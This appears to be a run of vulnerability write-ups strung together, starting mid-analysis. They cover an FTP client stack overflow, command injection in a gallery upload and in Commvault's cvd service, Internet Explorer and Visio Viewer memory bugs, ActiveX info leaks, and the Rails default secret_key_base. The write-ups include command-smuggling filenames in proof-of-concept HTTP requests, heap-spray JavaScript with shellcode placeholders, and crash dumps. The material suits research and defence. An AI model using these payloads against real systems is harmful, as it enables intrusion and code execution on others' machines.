    if ( strstr(charResBuffer, "powerweb") )
    {
      *(_DWORD *)dword_47B1E0 = 6;
      goto LABEL_206;
    }
  }
...

In addition, this buffer is actually on the stack, and it’s 4096 long:

-00001010 charResBuffer   db 4096 dup(?)

This means that if the server responds with something longer than 4096 bytes for the SYST request,
the data may corrupt the stack, and cause a stack-based buffer overflow. At the end of
OpenControlConnection, the RETN ends up loading the corrupt data, which may lead to
arbitrary code execution:

.text:0040AC39                 lea     esp, [ebp-2048h]
.text:0040AC3F                 pop     ebx
.text:0040AC40                 pop     esi
.text:0040AC41                 pop     edi
.text:0040AC42                 leave
.text:0040AC43                 retn

Since whoever is using SendFTPRequest is responsible for providing the buffer of the server
response, and there are 47 other cross-references, it is possible there are different ways to
trigger the same bug. However, since it doesn’t look like there is a patch (because the product
is no longer in active development, from the exploit developer’s perspective, it is not necessary
to look for other ways to exploit it).

1
Technical Analysis
  • In fact, doesn’t seem like the user should be authenticated at all. Looking at this request:
POST /gallery/upload/index HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------21456260222104
Content-Length: 970
-----------------------------21456260222104
Content-Disposition: form-data; name="title"
1
-----------------------------21456260222104
Content-Disposition: form-data; name="image_add"
1
-----------------------------21456260222104
Content-Disposition: form-data; name="description"
1
-----------------------------21456260222104
Content-Disposition: form-data; name="tags"

-----------------------------21456260222104
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000000
-----------------------------21456260222104
Content-Disposition: form-data; name="APC_UPLOAD_PROGRESS"
511ad0922b50f
-----------------------------21456260222104
Content-Di sposition: form-data; name="file"; filename="1 & ls -la > file.txt"
Content-Type: application/octet-stream
1
-----------------------------21456260222104
Content-Disposition: form-data; name="submit"
Update
-----------------------------21456260222104--

According to my testing, really authentication isn’t needed to reach the vulnerable code.

  • Vulnerability: The vulnerable resides on modules/gallery/upload/index.php, in the uploadFile() function, where
    $exec is called with partially user controlled data:
$command = "mv " . $_FILES['file']['tmp_name'] . " $zip";
//die;
exec ($command, $output = array (), $res);


$command = "chmod 777 " . $zip;
exec ($command, $output = array (), $res);

$command = "unzip -o -UU " . $zip;
exec ($command, $output = array (), $res);

The $zip variable can be partially controlled:

$zip = "/tmp/" . $_FILES['file']['name'];

Since $_FILES[‘file’][‘name’] is used for injection “/” is a badchar, which makes exploitation (of something usefull) really difficult:

1) Execution is with www-data privileges by default, not a lot of things to do.
2) You are executing from modules/gallery/upload where by default, and in the recommended installation user hasn’t privileges for writting. So
the provided PoC by htbridge doesn’t work at all in a default installation:

Content-Di sposition: form-data; name="file"; filename="1 & ls -la > file.txt"

You cannot write file.txt in modules/gallery/upload by default.

My PoC:

POST /gallery/upload/index HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:10.0.1) Gecko/20100101 Firefox/10.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://localhost/gallery/view/1
Content-Type: multipart/form-data; boundary=---------------------------1107861128371857341391966473
Content-Length: 360

-----------------------------1107861128371857341391966473
Content-Disposition: form-data; name="file"; filename="ls; <COMMAND>"
Content-Type: text/plain

msf.txt

-----------------------------1107861128371857341391966473
Content-Disposition: form-data; name="submit"

Upload File
-----------------------------1107861128371857341391966473--
1
Technical Analysis

PoC

Details

Crash Windows XP SP3 Visio Viewer 2010

(9b8.9bc): Unknown exception - code e0000002 (first chance)
(9b8.9bc): C++ EH exception - code e06d7363 (first chance)
(9b8.9bc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=001c12b8 ebx=00000000 ecx=00400035 edx=00000000 esi=001e6498 edi=029c4240
eip=0e000000 esp=00136cf4 ebp=00136d24 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
0e000000 ??              ???
0:000> !exchain
TRIAGER: Could not open triage file : C:\Program Files\Windows Kits\8.0\Debuggers\x86\triage\oca.ini, error 2
TRIAGER: Could not open triage file : C:\Program Files\Windows Kits\8.0\Debuggers\x86\winxp\triage.ini, error 2
TRIAGER: Could not open triage file : C:\Program Files\Windows Kits\8.0\Debuggers\x86\triage\user.ini, error 2
00136db4: *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\PROGRA~1\MICROS~2\Office14\VVIEWER.DLL -
VVIEWER!GetAllocCounters+132fc0 (602ae0fd)
00136de0: VVIEWER!GetAllocCounters+1332f5 (602ae432)
00136e2c: VVIEWER!GetAllocCounters+1311ba (602ac2f7)
00136ecc: VVIEWER!GetAllocCounters+1309e1 (602abb1e)
00136f40: VVIEWER!GetAllocCounters+130f7c (602ac0b9)
001381f4: VVIEWER!GetAllocCounters+11cf02 (6029803f)
00138228: VVIEWER!GetAllocCounters+11baee (60296c2b)
0013eae0: USER32!_except_handler3+0 (7e44048f)
  CRT scope  0, func:   USER32!UserCallWinProcCheckWow+155 (7e44ac6b)
0013eb40: USER32!_except_handler3+0 (7e44048f)
0013ee5c: BROWSEUI!_except_handler3+0 (76001b21)
  CRT scope  0, filter: BROWSEUI!BrowserProtectedThreadProc+56 (75fa5394)
                func:   BROWSEUI!BrowserProtectedThreadProc+72 (75fa53b5)
0013ffe0: kernel32!_except_handler3+0 (7c839ac0)
  CRT scope  0, filter: kernel32!BaseProcessStart+29 (7c843882)
                func:   kernel32!BaseProcessStart+3a (7c843898)

!heap addressses come on!!!!
js_pivot = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");

while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();
heap_obj.debugHeap(true);
for (var i=1; i < 0x1e0; i++) {
	heap_obj.alloc(block);
}
heap_obj.debugHeap(false);
JS

heap spray to populate 200020

<script>
	var heap_obj = new heapLib.ie(0x20000);
	var nops = unescape("%u0c0c%u0c0c");

	while (nops.length < 0x80000) nops += nops;
	var shellcode = nops.substring(0, 0x800);

	while (shellcode.length < 0x40000) shellcode += shellcode;
	var block = shellcode.substring(0, (0x1000-6)/2);

	alert(1);
	heap_obj.gc();
	heap_obj.debugHeap(true);
	for (var i=1; i < 0x1E; i++) {
		heap_obj.alloc(block);
	}
	heap_obj.debugHeap(false);
	alert(2);
</script>

Reliable UNICODE Pointers to the heap could be on the mapping of:

xpsp2res.dll re5.1.2600.5512

start    end        module name
01a30000 01cf5000   xpsp2res   (deferred)

About Internet Explorer 6, before update

0:010> lmv m IEXPLORE
start    end        module name
00400000 00419000   IEXPLORE   (deferred)
    Image path: C:\Program Files\Internet Explorer\IEXPLORE.EXE
    Image name: IEXPLORE.EXE
    Timestamp:        Sun Apr 13 20:34:13 2008 (48025225)
    CheckSum:         00017A61
    ImageSize:        00019000
    File version:     6.0.2900.5512
    Product version:  6.0.2900.5512
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        1.0 App
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Microsoft Corporation
    ProductName:      Microsoft® Windows® Operating System
    InternalName:     iexplore
    OriginalFilename: IEXPLORE.EXE
    ProductVersion:   6.00.2900.5512
    FileVersion:      6.00.2900.5512 (xpsp.080413-2105)
    FileDescription:  Internet Explorer
    LegalCopyright:   © Microsoft Corporation. All rights reserved.

After update

0:018> lmv m IEXPLORE
start    end        module name
00400000 00419000   IEXPLORE   (deferred)
    Image path: C:\Program Files\Internet Explorer\IEXPLORE.EXE
    Image name: IEXPLORE.EXE
    Timestamp:        Sun Apr 13 20:34:13 2008 (48025225)
    CheckSum:         00017A61
    ImageSize:        00019000
    File version:     6.0.2900.5512
    Product version:  6.0.2900.5512
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        1.0 App
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Microsoft Corporation
    ProductName:      Microsoft® Windows® Operating System
    InternalName:     iexplore
    OriginalFilename: IEXPLORE.EXE
    ProductVersion:   6.00.2900.5512
    FileVersion:      6.00.2900.5512 (xpsp.080413-2105)
    FileDescription:  Internet Explorer
    LegalCopyright:   © Microsoft Corporation. All rights reserved.

After updates:

Internet Explorer 7

0:014> lmv m IEFRAME
start    end        module name
009c0000 00f89000   IEFRAME    (deferred)
    Image path: C:\WINDOWS\system32\IEFRAME.dll
    Image name: IEFRAME.dll
    Timestamp:        Tue Aug 14 03:54:09 2007 (46C10B41)
    CheckSum:         005CA70C
    ImageSize:        005C9000
    File version:     7.0.5730.13
    Product version:  7.0.5730.13
    File flags:       8 (Mask 3F) Private
    File OS:          40004 NT Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Microsoft Corporation
    ProductName:      Windows® Internet Explorer
    InternalName:     IEFRAME.DLL
    OriginalFilename: IEFRAME.DLL
    ProductVersion:   7.00.5730.13
    FileVersion:      7.00.5730.13 (longhorn(wmbla).070711-1130)
    FileDescription:  Internet Explorer
    LegalCopyright:   © Microsoft Corporation. All rights reserved.
1
Technical Analysis

Introduction

Commvault is a data protection and information management software; an enterprise-level data
platform that contains modules to back up, restore, archive, replicate, and search data.

According to public documentation, the data is protected by installing agent software on the
physical or virtual hosts, which use the OS or application native APIs to protect data in a
consistent state. Production data is processed by the agent on client computers and backuped
up through a data manager (the MediaAgent) to disk, tape, or cloud storage. All data
management activity in the environment is tracked by a centralized server (called CommServe),
and can be managed by administrators through a central user interface. End users can access
protected data using web browsers or mobile devices.

One of the base services of Commvault is vulnerable to a remote command injection attack,
specifically the cvd service. It was a Metasploit submission by @rwincey as PR #9340.

Vulnerable Application

According to the public advisory, Commvault v11 SP5 or prior are vulnerable to this
vulnerability.

The specific vulnerable version I tested was 11.0.80.0, and the software was obtained from
the Metasploit contributor @rwincey. The software is available from our Google Drive at:

Vulnerable Apps –> Commvault –> Commvault_R80_SP5_22September16.exe.

The version of the vulnerable DLL is:

    Image path: C:\Program Files\Commvault\ContentStore\Base\CVDataPipe.dll
    Image name: CVDataPipe.dll
    Timestamp:        Wed Dec 21 11:59:21 2016 (585AC2F9)
    CheckSum:         002ED404
    ImageSize:        002F0000
    File version:     11.80.50.60437
    Product version:  11.0.0.0
    File flags:       1 (Mask 3F) Debug
    File OS:          40004 NT Win32
    File type:        1.0 App
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Commvault
    ProductName:      Commvault
    InternalName:     CVDataPipe
    OriginalFilename: CVDataPipe.dll
    ProductVersion:   11.0.0.0
    FileVersion:      11.80.50.60437
    PrivateBuild:
    SpecialBuild:
    FileDescription:
    LegalCopyright:   Copyright (c) 2000-2016
    LegalTrademarks:
    Comments:

Root Cause Analysis

Based on the information we have from the pull request, the vulnerability is a command injection, so
that’s where we begin reversing.

Usually, there are two ways to execute a command in a C/C++ application, one of them is WinExec(),
and the other one is CreateProcess():

BOOL WINAPI CreateProcess(
  _In_opt_    LPCTSTR               lpApplicationName,
  _Inout_opt_ LPTSTR                lpCommandLine,
  _In_opt_    LPSECURITY_ATTRIBUTES lpProcessAttributes,
  _In_opt_    LPSECURITY_ATTRIBUTES lpThreadAttributes,
  _In_        BOOL                  bInheritHandles,
  _In_        DWORD                 dwCreationFlags,
  _In_opt_    LPVOID                lpEnvironment,
  _In_opt_    LPCTSTR               lpCurrentDirectory,
  _In_        LPSTARTUPINFO         lpStartupInfo,
  _Out_       LPPROCESS_INFORMATION lpProcessInformation
);

Since CreateProcess() is meant to replace WinExec() according to Microsoft, we can create a
break point there fist in our debugger (WinDBG), and we hit it:

0:044> g
Breakpoint 3 hit
kernel32!CreateProcessA:
00000000`76fe8730 4c8bdc          mov     r11,rsp

Looking at the callstack of this kernel32!CreateProcessA, we already have a pretty good idea
locating the vulnerability:

0:044> k
Child-SP          RetAddr           Call Site
00000000`11a36b78 000007fe`f378a40f kernel32!CreateProcessA
00000000`11a36b80 000007fe`f377714e CVDataPipe!execCmd+0x7af
00000000`11a3f340 000007fe`f3777a69 CVDataPipe!CVDMessageHandler+0x78e
00000000`11a3fbd0 000007fe`f9cdc58d CVDataPipe!CVDMessageHandler+0x10a9
00000000`11a3fd40 000007fe`f9cdc1b1 CvBasicLib!CvThreadPool::th_defaultWorkerObj+0x3cd
00000000`11a3fe40 000007fe`f9cd2073 CvBasicLib!CvThreadPool::th_defaultWorker+0x51
00000000`11a3fe90 000007fe`f9a84f7f CvBasicLib!CvThread::~CvThread+0x63
00000000`11a3fee0 000007fe`f9a85126 MSVCR120!_callthreadstartex+0x17 [f:\dd\vctools\crt\crtw32\startup\threadex.c @ 376]
00000000`11a3ff10 00000000`76f6f56d MSVCR120!_threadstartex+0x102 [f:\dd\vctools\crt\crtw32\startup\threadex.c @ 354]
00000000`11a3ff40 00000000`770a3281 kernel32!BaseThreadInitThunk+0xd
00000000`11a3ff70 00000000`00000000 ntdll!RtlUserThreadStart+0x1d

There are two things that are interesting. One of them is CVDataPipe!CVDMessageHandler, and the
other one is CVDataPipe!execCmd.

CVDataPipe!CVDMessageHandler is basically a function that handles our packet’s message type.
The Metasploit exploit specifically sends a code of 9h, which is the message type for execCmd:

.text:0000000180147103 loc_180147103:                          ; CODE XREF: CVDMessageHandler(int,selectStruct_t *,CQiSocket,void *):loc_180146D78j
.text:0000000180147103                 lea     rax, [rsp+888h+var_220] ; jumptable 0000000180146D78 case 9
.text:000000018014710B                 mov     [rsp+888h+var_600], rax
.text:0000000180147113                 mov     rdx, [rsp+888h+sock]
.text:000000018014711B                 mov     rcx, [rsp+888h+var_600]
.text:0000000180147123                 call    cs:??0CQiSocket@@QEAA@AEBV0@@Z ; CQiSocket::CQiSocket(CQiSocket const &)
.text:0000000180147129                 mov     [rsp+888h+var_5F0], rax
.text:0000000180147131                 mov     r8, [rsp+888h+arg_18]
.text:0000000180147139                 mov     rdx, [rsp+888h+var_5F0]
.text:0000000180147141                 mov     rcx, [rsp+888h+structSelect]
.text:0000000180147149                 call    ?execCmd@@YAXPEAUselectStruct_t@@VCQiSocket@@PEAX@Z ; execCmd(selectStruct_t *,CQiSocket,void *)

If we take a closer look at the execCmd function, we can tell the purpose of it is for processes such as:

  • ifind (For restoring purposes)
  • BackupShadow.exe (For archiving)
  • Pub (Map file)
  • createIndex (A Commvault process for building index)
.text:0000000180159F1B loc_180159F1B:                          ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+261j
.text:0000000180159F1B                                         ; DATA XREF: .rdata:0000000180286258o
.text:0000000180159F1B                 lea     rdx, aIfind     ; "ifind"
.text:0000000180159F22                 lea     rcx, [rsp+87B8h+ApplicationName] ; Str
.text:0000000180159F2A                 call    cs:strstr
.text:0000000180159F30                 test    rax, rax
.text:0000000180159F33                 jnz     short loc_180159F6D
.text:0000000180159F35                 lea     rdx, aBackupshadow_e ; "BackupShadow.exe"
.text:0000000180159F3C                 lea     rcx, [rsp+87B8h+ApplicationName] ; Str
.text:0000000180159F44                 call    cs:strstr
.text:0000000180159F4A                 test    rax, rax
.text:0000000180159F4D                 jnz     short loc_180159F6D
.text:0000000180159F4F                 lea     rdx, aPub       ; "Pub"
.text:0000000180159F56                 lea     rcx, [rsp+87B8h+ApplicationName] ; Str
.text:0000000180159F5E                 call    cs:strstr
...
.text:000000018015A0BA loc_18015A0BA:                          ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+307j
.text:000000018015A0BA                 lea     rdx, aCreateindex ; "createIndex"
.text:000000018015A0C1                 lea     rcx, [rsp+87B8h+ApplicationName] ; Str
.text:000000018015A0C9                 call    cs:strstr
.text:000000018015A0CF                 test    rax, rax
.text:000000018015A0D2                 jz      loc_18015A220

However, if you don’t call one of these processes, the exeCmd will assume you want to run your
custom process, and pass it to CreateProcess anyway:

.text:000000018015A361 loc_18015A361:                          ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+675j
.text:000000018015A361                 call    cs:GetEnvironmentStrings
.text:000000018015A367                 mov     [rsp+87B8h+var_86A8], rax
.text:000000018015A36F                 lea     rax, [rsp+87B8h+StartupInfo]
.text:000000018015A377                 mov     rdi, rax
.text:000000018015A37A                 xor     eax, eax
.text:000000018015A37C                 mov     ecx, 68h
.text:000000018015A381                 rep stosb
.text:000000018015A383                 mov     [rsp+87B8h+StartupInfo.cb], 68h
.text:000000018015A38E                 lea     rax, [rsp+87B8h+ProcessInformation]
.text:000000018015A396                 mov     rdi, rax
.text:000000018015A399                 xor     eax, eax
.text:000000018015A39B                 mov     ecx, 18h
.text:000000018015A3A0                 rep stosb
.text:000000018015A3A2                 mov     [rsp+87B8h+StartupInfo.dwFlags], 1
.text:000000018015A3AD                 xor     eax, eax
.text:000000018015A3AF                 mov     [rsp+87B8h+StartupInfo.wShowWindow], ax
.text:000000018015A3B7                 lea     rax, [rsp+87B8h+ProcessInformation]
.text:000000018015A3BF                 mov     [rsp+87B8h+lpProcessInformation], rax ; lpProcessInformation
.text:000000018015A3C4                 lea     rax, [rsp+87B8h+StartupInfo]
.text:000000018015A3CC                 mov     [rsp+87B8h+lpStartupInfo], rax ; lpStartupInfo
.text:000000018015A3D1                 mov     [rsp+87B8h+lpCurrentDirectory], 0 ; lpCurrentDirectory
.text:000000018015A3DA                 mov     [rsp+87B8h+lpEnvironment], 0 ; lpEnvironment
.text:000000018015A3E3                 mov     [rsp+87B8h+dwCreationFlags], 10h ; dwCreationFlags
.text:000000018015A3EB                 mov     [rsp+87B8h+bInheritHandles], 0 ; bInheritHandles
.text:000000018015A3F3                 xor     r9d, r9d        ; lpThreadAttributes
.text:000000018015A3F6                 xor     r8d, r8d        ; lpProcessAttributes
.text:000000018015A3F9                 lea     rdx, [rsp+87B8h+CommandLine] ; lpCommandLine
.text:000000018015A401                 lea     rcx, [rsp+87B8h+ApplicationName] ; lpApplicationName
.text:000000018015A409                 call    cs:CreateProcessA

It is unclear whether allowing an arbitrary custom process is intentional or not, it is unsafe
anyway considering the cvd process binds to 0.0.0.0, so anybody can access to it.

1
Technical Analysis

Info Leak Through ForceRemoteBehavior

The ForceRemoteBehavior getter, when using an “unitialized” issymbol
object allows to disclose address from issymbol. Issymbol isn’t aslr
compatible, but could rebase. Anyway, issymbol doesn’t contain pointers
to interesting API’s for ASLR bypass, so even when it would be easy
to use the issymbol.dll it won’t be usefull because of this.

<html>
<body>
<object classid='clsid:3c9dff6f-5cb0-422e-9978-d6405d10718f' id='test'></object>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<script language='javascript'>
alert(test.ForceRemoteBehavior);
</script>
</body>
</html>

Info Leak through StartupColumnTranslate

Overflowing the vulnerable InternationalSeparator() method with 212 bytes
allows to reach the pointer to the StartupColumnTranslate property (string).

By overflowing this pointer should be possible to retrieve arbitrary data
from the memory map by using the StartupColumnTranslate getter:

.text:1000EF40 StartupColumnTranslate_sub_1000EF40 proc near ; DATA XREF: .rdata:101DCE98o
.text:1000EF40
.text:1000EF40 var_10          = byte ptr -10h
.text:1000EF40 var_C           = dword ptr -0Ch
.text:1000EF40 var_4           = dword ptr -4
.text:1000EF40
.text:1000EF40                 push    0FFFFFFFFh
.text:1000EF42                 push    offset sub_101B7579
.text:1000EF47                 mov     eax, large fs:0
.text:1000EF4D                 push    eax
.text:1000EF4E                 push    ecx
.text:1000EF4F                 push    esi
.text:1000EF50                 mov     eax, ___security_cookie
.text:1000EF55                 xor     eax, esp
.text:1000EF57                 push    eax
.text:1000EF58                 lea     eax, [esp+18h+var_C]
.text:1000EF5C                 mov     large fs:0, eax
.text:1000EF62                 add     ecx, 2540h ; ecx + 2540h => pointer to StartupColumnTranslate property
.text:1000EF68                 push    ecx
.text:1000EF69                 lea     ecx, [esp+1Ch+var_10]
.text:1000EF6D                 call    ds:??0?$CStringT@_WV?$StrTraitMFC_DLL@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@QAE@ABV01@@Z ; ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>> const &)
.text:1000EF73                 lea     ecx, [esp+18h+var_10]
.text:1000EF77                 mov     [esp+18h+var_4], 0
.text:1000EF7F                 call    ds:?AllocSysString@?$CStringT@_WV?$StrTraitMFC_DLL@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@QBEPA_WXZ ; ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::AllocSysString(void)
.text:1000EF85                 lea     ecx, [esp+18h+var_10] ; void *
.text:1000EF89                 mov     esi, eax
.text:1000EF8B                 call    ds:__imp_??1?$CStringT@_WV?$StrTraitMFC_DLL@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@QAE@XZ ; ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(void)
.text:1000EF91                 mov     eax, esi
.text:1000EF93                 mov     ecx, [esp+18h+var_C]
.text:1000EF97                 mov     large fs:0, ecx
.text:1000EF9E                 pop     ecx
.text:1000EF9F                 pop     esi
.text:1000EFA0                 add     esp, 10h
.text:1000EFA3                 retn
.text:1000EFA3 StartupColumnTranslate_sub_1000EF40 endp

PROBLEM: It’s using the Microsoft Foundation Classes, and create fake
strings memory objects in memory isn’t so easy! We should dig in to that,
should be possible with more work!

1
Technical Analysis

Set innerHTML
[*] EBX after EnsureRecalcNotify is: 0x0998cff0

0998cff0 ???????? ???????? ???????? ????????
0998d000 ???????? ???????? ???????? ????????
0998d010 ???????? ???????? ???????? ????????
0998d020 ???????? ???????? ???????? ????????
0998d030 ???????? ???????? ???????? ????????
0998d040 ???????? ???????? ???????? ????????
0998d050 ???????? ???????? ???????? ????????
0998d060 ???????? ???????? ???????? ????????

Which is lated used in the crash (see ESI):

(d9c.694): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0bcebd00 ebx=00000000 ecx=11cf98b5 edx=aa0082bb esi=0998cff0 edi=047fd70c
eip=6b8199cd esp=047fd6d0 ebp=047fd6e8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
MSHTML!QIClassID+0x38:
6b8199cd 8b06 mov eax,dword ptr [esi] ds:0023:0998cff0=????????

This is because in the vulnerable version, EnsureRecalcNotify returns the invalid
reference, passes it to GetLineInfo, and later used in the crash:

.text:639F5549 loc_639F5549: ; CODE XREF: CDisplayPointer::MoveToMarkupPointer(IMarkupPointer *,IDisplayPointer *)+6Ej
.text:639F5549 test eax, eax
.text:639F554B jz loc_6378185D
.text:639F5551 push 1
.text:639F5553 mov edi, eax
.text:639F5555 call ?EnsureRecalcNotify@CElement@@QAEJH@Z ; CElement::EnsureRecalcNotify(int)
.text:639F555A lea ecx, [esp+18h+var_8] ; After the EnsureRecalcNotify call, EBX is invalid
.text:639F555E push ecx
.text:639F555F push ebx
.text:639F5560 call GetLineInfo ; To the crash
.text:639F5565 jmp loc_63908A6E

In the patched version, the return value of EnsureNotifyValue is checked before calling GetLineInfo:

.text:639F5213 loc_639F5213: ; CODE XREF: CDisplayPointer::MoveToMarkupPointer(IMarkupPointer *,IDisplayPointer *)+6Fj
.text:639F5213 test eax, eax
.text:639F5215 jz loc_63780DDD
.text:639F521B push 1
.text:639F521D mov edi, eax
.text:639F521F call ?EnsureRecalcNotify@CElement@@QAEJH@Z ; CElement::EnsureRecalcNotify(int)
.text:639F5224 mov edi, eax
.text:639F5226 test edi, edi
.text:639F5228 js loc_63907FAF ; to RETN
.text:639F522E mov edx, [ebp+arg_4]
.text:639F5231 lea ecx, [esp+18h+var_8]
.text:639F5235 push ecx
.text:639F5236 push edx
.text:639F5237 call GetLineInfo
.text:639F523C jmp loc_63907F1E
”`

1
Technical Analysis

Background

Ruby on Rails is a server-side web application framework written in Ruby. It is a model-view-controller (MVC) archtecture, providing default structures for a database, a web service, and web pages. It is also a popular choice of framework among well known services and products such as Github, Bloomberg, Soundcloud, Groupon, Twitch.tv, and of course, Rapid7s Metasploit.

Ruby on Rails versions including 5.2.2.1 and prior are vulnerable to a deserialization attack, because the Rails application by default uses its own name as the secret_key_base in development mode. This can be easily extracted by visiting an invalid resource for a route, which as a result allows a remote user to create and deliver a signed serialized payload, load it by the application, and gain remote code execution.

Please note that this is not the same as the “DoubleTap” vulnerability. The other one is a directory traversal attack that in theory could be chained to aid remote code execution.

In this documentation, I will go over:

  • The setup I used to test the vulnerable environment.
  • My analysis on the vulnerability.
  • Some information about patching.

Vulnerable Setup

In order to set up a vulnerable box for testing, do the following on a Linux (Ubuntu) machine, assuming rvm is already installed:

$ rvm gemset create test
$ rvm gemset use test
$ gem install rails '5.2.1'
$ rails new demo

Next, cd to demo, and then modify the Gemfile like this:

$ echo "gem 'rails', '5.2.1'" >> Gemfile
$ echo "gem 'sqlite3', '~> 1.3.6', '< 1.4'" >> Gemfile
$ echo "source 'https://rubygems.org'" >> Gemfile
$ bundle

Next, add a new controller:

rails generate controller metasploit

And add the index method for that controller (under app/controllers/metasploit_controller.rb):

class MetasploitController < ApplicationController
  def index
    render file: "#{Rails.root}/test.html"
  end
end

In the root directory, add a new test.html.

echo Hello World > test.html

Also, add that new route in config/routes.rb:

Rails.application.routes.draw do
  resources :metasploit
end

And finally, start the application:

rails s -b 0.0.0.0

By default, the application should be using its name as the secret key that is hashed in MD5.

Vulnerability Analysis

The best way to understand the vulnerabilty is by looking at Rails’ application.rb source code. Most importantly, the vulnerability comes from the secret_key_base method in the Application class (see railties/lib/rails/application.rb):

def secret_key_base
  if Rails.env.test? || Rails.env.development?
    secrets.secret_key_base || Digest::MD5.hexdigest(self.class.name)
  else
    validate_secret_key_base(
      ENV["SECRET_KEY_BASE"] || credentials.secret_key_base || secrets.secret_key_base
      )
  end
end

We see that in order to be vulnerable, we either need to be in test mode, or development mode. That way, the application will wither rely on a secret_key_base from somewhere (explained later), or it computes its own based on the application name.

Rails 5.2 (2017)

Before we move on with the analysis, it is interesting to point out that the vulnerable code we are looking at right now was actually meant to improve Rails security with encrypted credentials, which was introduced in Aug 3rd, 2017. Although meant for better security, it did not start off safe, but in fact, worse:

def secret_key_base
  if Rails.env.test? || Rails.env.development?
    Digest::MD5.hexdigest self.class.name
    # Code omitted below

You can see the pull request here.

Before this, Rails used to rely on config/secrets.yml, which wasnt protected by encryption like 5.2’s credentials.yml.enc file.

Where is the Secret?

According to the vulnerable code, we know that by default, Rails would try to load the secret_key_base somewhre, otherwise it relies on the application name. On a newly installed Rails app, it seems it just defaults back to the application name, but let us take a look at the first condition anyway:

secrets.secret_key_base

Here we know that the secret_key_base comes from secrets. If we look around a little, we know that is actually a method:

def secrets
  @secrets ||= begin
    secrets = ActiveSupport::OrderedOptions.new
    files = config.paths["config/secrets"].existent
    files = files.reject { |path| path.end_with?(".enc") } unless config.read_encrypted_secrets
    secrets.merge! Rails::Secrets.parse(files, env: Rails.env)

    # Fallback to config.secret_key_base if secrets.secret_key_base isn't set
    secrets.secret_key_base ||= config.secret_key_base
    # Fallback to config.secret_token if secrets.secret_token isn't set
    secrets.secret_token ||= config.secret_token

    if secrets.secret_token.present?
      ActiveSupport::Deprecation.warn(
        "`secrets.secret_token` is deprecated in favor of `secret_key_base` and will be removed in Rails 6.0."
        )
    end

    secrets
  end
end

And very quickly, we see that the secret comes from config/secrets.*, encrypted or not. Well, by default, a Rails app does not actually have this file, so it makes perfect sense we always fall back to the application name (in MD5) as the secret_key_base by default.

Notice the above function basically means the secret is loaded from a file, and it is parsed. It does not actually tell us how that secret is parsed, so naturally this line has my curiosity:

secrets.merge! Rails::Secrets.parse(files, env: Rails.env)

And Rails::Secrets.parse comes from the secrets.rb file:

def parse(paths, env:)
  paths.each_with_object(Hash.new) do |path, all_secrets|
    require "erb"

    secrets = YAML.load(ERB.new(preprocess(path)).result) || {}
    all_secrets.merge!(secrets["shared"].deep_symbolize_keys) if secrets["shared"]
    all_secrets.merge!(secrets[env].deep_symbolize_keys) if secrets[env]
  end

This tells a couple of things:

  • The secrets file should be a ERB template, and it is serialized.
  • Before it is loaded, the content is spit out by a method called preprocess

If the secrets file is encrypted (ends with .enc), then this decryption routine should run before it is deserialized:

def _decrypt(encrypted_message, purpose)
  cipher = new_cipher
  encrypted_data, iv, auth_tag = encrypted_message.strip.split("--".freeze).map { |v| ::Base64.strict_decode64(v) }

  # Currently the OpenSSL bindings do not raise an error if auth_tag is
  # truncated, which would allow an attacker to easily forge it. See
  # https://github.com/ruby/openssl/issues/63
  raise InvalidMessage if aead_mode? && (auth_tag.nil? || auth_tag.bytes.length != 16)

  cipher.decrypt
  cipher.key = @secret
  cipher.iv  = iv
  if aead_mode?
    cipher.auth_tag = auth_tag
    cipher.auth_data = ""
  end

  decrypted_data = cipher.update(encrypted_data)
  decrypted_data << cipher.final

  message = Messages::Metadata.verify(decrypted_data, purpose)
  @serializer.load(message) if message
rescue OpenSSLCipherError, TypeError, ArgumentError
  raise InvalidMessage
end

Basically, the code is expecting the input to be in this format, and is split by --:

string1--string2--string3

